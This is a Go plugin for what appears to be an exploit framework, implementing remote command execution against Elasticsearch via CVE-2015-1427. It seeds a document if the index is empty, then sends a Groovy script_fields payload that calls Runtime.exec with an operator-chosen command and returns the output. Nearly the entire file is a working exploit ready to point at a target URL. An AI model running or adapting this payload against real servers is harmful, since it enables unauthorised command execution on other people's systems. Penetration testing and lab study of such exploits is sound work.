CVE-2015-1427
package CVE_2015_1427
import (
"context"
"expgo/plugins/api/req"
"expgo/plugins/api/types"
"expgo/plugins/api/util"
"fmt"
"net/url"
"strconv"
"log"
"github.com/tidwall/gjson"
)
var (
pluginType = "custom"
vulType = "rce"
name = "CVE-2015-1427"
component = "elasticsearch"
author = "akkuman"
description = "CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞:1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。"
references = []string{
"https://github.com/vulhub/vulhub/blob/master/elasticsearch/CVE-2015-1427/README.md",
}
tags = []string{
"elasticsearch",
"rce",
}
)
var opts = types.NewOptions()
func init() {
opts.String("target", true, "目标", "", func(i interface{}) bool {
target := i.(string)
_, err := url.Parse(target)
return err == nil
})
opts.String("cmd", true, "执行命令", "id")
}
// preprocess 查询时至少要求es中有一条数据才能触发, proprecess 保证这个条件成立
func preprocess(c *req.Client, target string) error {
var result struct {
Hits struct {
Total int64 `json:"total"`
} `json:"hits"`
}
resp, err := c.R().
SetResult(&result).
SetBody(map[string]interface{}{
"size": 1,
}).
Post(util.URLJoin(target, "/_search"))
if err != nil {
return err
}
if resp.StatusCode() != 200 {
return fmt.Errorf("文档数量请求失败")
}
if result.Hits.Total != 0 {
return nil
}
// 文档数量为0,创建文档
resp, err = c.R().
SetBody(map[string]interface{}{
"name": "test",
}).
Post(util.URLJoin(target, "/website/blog/"))
if err != nil {
return err
}
if resp.StatusCode() != 201 {
return fmt.Errorf("添加文档失败")
}
return nil
}
func exploit(ctx context.Context, params map[string]interface{}) types.PluginResult {
target := params["target"].(string)
cmd := params["cmd"].(string)
c := req.NewHttpClient(ctx)
log.Println("检查es中的文档数量是否至少有一条")
err := preprocess(c, target)
if err != nil {
log.Println(err)
return types.MissPluginResult
}
log.Println("检查完成")
log.Println("准备执行命令")
fieldName := util.GetUUID()
resp, err := c.R().
SetBody(map[string]interface{}{
"size": 1,
"script_fields": map[string]interface{}{
fieldName: map[string]interface{}{
"lang": "groovy",
"script": fmt.Sprintf(`java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(%s).getText()`, strconv.Quote(cmd)),
},
},
}).
Post(util.URLJoin(target, "/_search"))
if err != nil {
log.Println(err)
return types.MissPluginResult
}
if resp.StatusCode() != 200 {
log.Println("执行失败")
return types.MissPluginResult
}
output := gjson.GetBytes(resp.Body(), fmt.Sprintf("hits.hits.0.fields.%s.0", fieldName)).String()
log.Printf("命令执行结果: %s", output)
return types.PluginResult{
ExtendInfo: map[string]interface{}{
"data": output,
},
Success: true,
}
}